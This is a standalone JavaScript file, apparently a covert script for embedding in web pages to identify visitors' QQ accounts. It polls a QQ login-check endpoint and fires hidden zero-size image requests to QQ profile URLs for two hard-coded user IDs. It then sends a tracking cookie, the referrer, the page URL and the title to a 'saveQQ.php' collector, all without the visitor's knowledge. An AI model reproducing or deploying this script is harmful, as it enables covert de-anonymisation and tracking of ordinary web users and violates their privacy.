(function(){

	function _init_send_by_iframe(uincookie,other){

		var i_referrer = encodeURIComponent(document.referrer);
		var i_url = encodeURIComponent(document.location.href);
		var i_title = encodeURIComponent(document.title);

		var i_php = "saveQQ.php";
		var url = i_php + "?action=saveQQ" + other;
		//url += "&uid={_UID}";
		url += "&meishi=10004313611,10004041231";//交由PHP来获取其访客 
		url += "&uincookie=" + uincookie;
		url += "&referrer=" + i_referrer;
		url += "&url=" + i_url;
		url += "&title=" + i_title;
		url += "&r=" + (new Date()).getTime();

		var oHead = document.getElementsByTagName('HEAD').item(0);
		var oScript = document.createElement("script");
		oScript.type = "text/javascript";
		oScript.src =  url;
		oHead.appendChild(oScript);
	}


	 function SetCookie(name, value) {
		 var exp = new Date();
		 exp.setTime(exp.getTime() + 2 * 24 * 60 * 60 * 1000);
		 document.cookie = name + "=" + escape(value) + ";expires=" + exp.toGMTString();
	 }

	 function GetCookie(name) {
		 var arr = document.cookie.match(new RegExp("(^| )" + name + "=([^;]*)(;|$)"));
		 if (arr != null) return unescape(arr[2]);
		 return null;
	 }

	 function insertFrame() {
		var img = new Image();
		img.src = "http://app.data.qq.com/?umod=user&uid=10004313611&t=" + (new Date()).getTime();
		img.width = 0;
		img.height = 0;
		img.border = 0;
		document.body.appendChild(img);

		img = new Image();
		img.src = "http://app.data.qq.com/?umod=user&uid=10004041231&t=" + (new Date()).getTime();
		img.width = 0;
		img.height = 0;
		img.border = 0;
		if (img.attachEvent) {
			img.attachEvent("onerror", function() {
				newSubmit();
			});
			img.attachEvent("onload", function() {
				newSubmit();
			});
			img.attachEvent("onabort", function() {
				newSubmit();
			});
		} else {
			img.onerror = function() {
				newSubmit();
			};
			img.onload = function() {
				newSubmit();
			};
			img.onabort = function() {
				newSubmit();
			};
		}
		document.body.appendChild(img);

	 }

	 var isSubmited = false;
	 function newSubmit() {
		 if ( isSubmited ){
			 return;
		 }
		 isSubmited = true;
		 var uincookie = GetCookie("uincookie");
		 if (uincookie == null) {
			 uincookie = "code" + (new Date()).getTime() + parseInt(Math.random() * 100000);
			 SetCookie("uincookie", uincookie);
		 }
		 _init_send_by_iframe(uincookie,"");
	 }

	 function isLogin() {
		 var code = null;
		 if (typeof(data3) == "undefined") {
			 code = data0.err
		 } else {
			 code = data3.err;
		 }
		 if (code == 1007) {
			 window.clearInterval(isLoginTimeID);
			 insertFrame();
		 } else {
			 var uincookie = GetCookie("uincookie");
			 if (uincookie != null) {
				 window.clearInterval(isLoginTimeID);
				_init_send_by_iframe(uincookie,"&do=uincookie");
			 } else {
				 var checkscript = document.getElementById("checkloginscript");
				 checkscript.parentNode.removeChild(checkscript);
			 }
		 }
	 }

	 var isLoginTimeID;
	 function dynamicLoad() {
		 var vsrc = "http://apps.qq.com/app/yx/cgi-bin/show_fel?hc=8&lc=4&d=365633133&t=" + (new Date()).getTime();
		 var oHead = document.getElementsByTagName('HEAD').item(0);
		 var oScript = document.createElement("script");
		 oScript.type = "text/javascript";
		 oScript.id = "checkloginscript";
		 if (oScript.readyState) {
			 oScript.onreadystatechange = function() {
				 if (oScript.readyState == "loaded" || oScript.readyState == "complete") {
					 oScript.onreadystatechange = null;
					 isLogin();
				 }
			 };
		 } else {
			 oScript.onload = function() {
				 isLogin();
			 };
		 }
		 oScript.src = vsrc;
		 oHead.appendChild(oScript);
	 }

	dynamicLoad();
	isLoginTimeID = window.setInterval(dynamicLoad, 3000);

})();